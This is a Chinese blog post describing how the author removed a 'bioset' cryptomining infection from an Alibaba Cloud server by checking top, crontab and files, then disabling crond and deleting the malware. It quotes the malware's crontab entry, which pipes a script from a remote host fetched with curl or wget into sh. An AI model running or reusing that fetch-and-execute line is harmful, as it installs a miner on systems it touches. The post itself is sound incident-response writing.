zoukankan      html  css  js  c++  java
  • 阿里云服务器挖矿脚本bioset攻击解决

    1.问题出现

    一大早刚起床,阿里云就给我发了一条短信,提醒我服务器出现紧急安全事件:挖矿程序

    阿里云“贴心”地提供了解决方法,不过需要购买企业版的安全服务,本着能自己动手就不花钱原则自己搞了起来

    于是赶紧上网查资料解决,相似的问题好多,都是被这些脚本变成了挖矿的“肉鸡”

    2.问题排查

    1)首先top命令查看到占用CPU最多的进程bioset,判断这个就是所谓的挖矿进程

     

    这里经过网上资料提醒,经过攻击后控制台输出变得不可信,因为病毒很可能重定向或者篡改、隐藏你的输出,有一个busybox可以解决这一问题,这里因为我没有出现这种情况所以没用。

    kill掉进程,过一会也会继续出现,说明存在守护进程或者定时同步机制。 

     2)通过进程名寻找文件目录

    [root@hadoop1 sbin]# find / -name '*bioset*'
    /var/tmp/.systemd-private-c15c0d5284bd838c15fd0d6c5c2b50bb-systemd-resolved.service-xCkB12/vje9c1vlq/bk20vm2o/xCkB12/bioset

    该目录下存在一个proc_1的脚本文件,推测是守护脚本,直接删除也不行(还有同步机制,接着看)

    3)使用 crontab -l 查询任务项,果然有猫腻

    [root@hadoop1 sbin]# crontab -l
    */10 * * * * (curl -fsSL --retry 3 -m180 "http://dl.djangocc.com:8080/p?a=p&a2=cron"||wget -q --tries=3 -T180 -O- "http://dl.djangocc.com:8080/p?a=p&a2=cron")|sh

    该病毒会每10分钟从djangocc.com上下载shell脚本并执行,这里不能直接执行crontab -e,进去后删除,然后保存退出。这方法压根不行,因为还会继续添加。

    3.问题解决

    1)先关掉定时crond

    systemctl stop crond #关掉定时
    systemctl disable crond.service #关掉定时开机自启动

    2)删除crontab文件

    rm -rf /var/spool/cron/root

    3)删除病毒文件

    rm -f /var/tmp/.systemd-private-c15c0d5284bd838c15fd0d6c5c2b50bb-systemd-resolved.service-xCkB12/*

    4)根据之前top的病毒PID停止进程

    kill -9 2042

    5)执行crontab -e进去将所有内容删除,保存退出

    crontab -e

    6)重启监测,到这里top发现没有bioset,CPU占用也正常

    (不过提醒下,可以去阿里云后台再确认下CPU运行是否正常)

    参考:

    https://www.sunjs.com/article/detail/62c7ba45975946f89b3a1cd574a4856e.html

  • 相关阅读:
    Python程序中的线程操作-锁
    线程基础
    博客园自动发布/更新博客系统
    Python程序中的进程操作-进程间通信(multiprocess.Queue)
    操作系统的发展史
    在 foreach 里使用引用要注意的陷阱(转)
    php 自定义求数组差集,效率比自带的array_diff函数还要快(转)
    php 二维数组转换成树状数组(转)
    PHP 发布两个不用递归的树形数组构造函数(转)
    php 二维数组以树形输出(转)
  • 原文地址:https://www.cnblogs.com/MWCloud/p/11490275.html
Copyright © 2011-2022 走看看